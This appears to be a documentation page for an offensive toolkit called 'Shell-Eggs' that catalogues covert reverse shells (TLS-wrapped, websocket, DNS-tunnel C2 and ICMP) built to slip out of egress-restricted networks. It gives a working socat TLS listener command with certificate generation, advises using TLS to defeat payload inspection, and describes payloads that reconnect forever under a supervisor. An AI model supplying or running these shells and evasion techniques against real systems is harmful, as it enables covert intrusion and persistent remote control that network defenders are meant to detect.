Shell-Eggs.siteShell-Eggs Docs · Secure / Covert
🛡️ Secure / Covert
TLS-wrapped shells plus websocket, DNS and ICMP channels for egress-restricted networks. TLS stops payload inspection - pin certs.
Ports: openssl/ncat/socat TLS callbacks use SHELL_REVERSE_PORT; wssh binds 7681; DNS/ICMP need no port.
Your listener:
TLS listener - generate a pair first: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out server.pem -days 365 -nodes
Your listener:
socat file:$(tty),raw,echo=0 OPENSSL-LISTEN:4444,cert=server.pem,verify=0TLS listener - generate a pair first: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out server.pem -days 365 -nodes
3 shells
| ID | Name | Port | Connect / payload |
|---|---|---|---|
wssh | Websocket Shell (wssh) | 7681 | Python websocket shell client (ws://) - passes as web traffic |
dnscat | DNS Tunnel Shell | none | DNS TXT-channel C2 client - for egress-restricted nets |
icmp-shell | ICMP Shell | none | shell inside ICMP echo payloads (needs --cap-add NET_RAW) |
Every payload reconnects forever (2-5s backoff) and is auto-restarted by the supervisor. Full details in SHELLs.md.